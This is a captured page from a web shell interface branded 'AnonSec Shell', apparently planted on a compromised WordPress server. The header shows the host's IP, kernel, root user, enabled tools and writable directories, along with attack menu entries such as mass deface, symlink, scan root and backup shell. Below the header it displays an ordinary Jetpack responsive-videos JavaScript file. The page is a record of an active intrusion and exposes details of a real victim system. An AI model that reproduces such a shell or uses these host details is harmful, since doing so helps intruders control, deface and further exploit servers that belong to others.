AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/jetpack/modules/theme-tools/responsive-videos/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/wp-content/plugins/jetpack/modules/theme-tools/responsive-videos/responsive-videos.js
import './responsive-videos.css';

let resizeTimer;

/**
 * Resize all videos in the document.
 */
function responsiveVideos() {
	document.querySelectorAll( '.jetpack-video-wrapper' ).forEach( function ( wrapper ) {
		wrapper.querySelectorAll( 'embed, iframe, object' ).forEach( function ( video ) {
			let videoMargin = 0;

			const previousSibling = wrapper.previousElementSibling;
			if (
				previousSibling &&
				previousSibling.nodeName === 'P' &&
				getComputedStyle( previousSibling )[ 'text-align' ] === 'center'
			) {
				videoMargin = '0 auto';
			}

			if ( ! video.hasAttribute( 'data-ratio' ) ) {
				video.setAttribute( 'data-ratio', ( video.height || 0 ) / ( video.width || 0 ) );
				video.setAttribute( 'data-width', video.width );
				video.setAttribute( 'data-height', video.height );
				video.style.display = 'block';
				video.style.margin = videoMargin;
			}

			const videoWidth = video.getAttribute( 'data-width' );
			const videoHeight = video.getAttribute( 'data-height' );
			const videoRatio = video.getAttribute( 'data-ratio' );
			const containerWidth = video.parentElement.clientWidth;

			video.removeAttribute( 'height' );
			video.removeAttribute( 'width' );

			if ( videoRatio === 'Infinity' ) {
				video.style.width = '100%';
				video.style.height = videoHeight + 'px';
				return;
			}

			if ( parseInt( videoWidth, 10 ) > containerWidth ) {
				video.style.width = containerWidth + 'px';
				video.style.height = containerWidth * parseFloat( videoRatio ) + 'px';
			} else {
				video.style.width = videoWidth + 'px';
				video.style.height = videoHeight + 'px';
			}
		} );
	} );
}

/**
 * Initialize event listeners and resize everything straight away.
 */
function init() {
	window.addEventListener( 'load', responsiveVideos );
	window.addEventListener( 'resize', function () {
		clearTimeout( resizeTimer );
		resizeTimer = setTimeout( responsiveVideos, 500 );
	} );
	window.addEventListener( 'is.post-load', responsiveVideos );
	setTimeout( responsiveVideos );
}

if ( document.readyState !== 'loading' ) {
	init();
} else {
	document.addEventListener( 'DOMContentLoaded', init );
}

Anon7 - 2022
AnonSec Team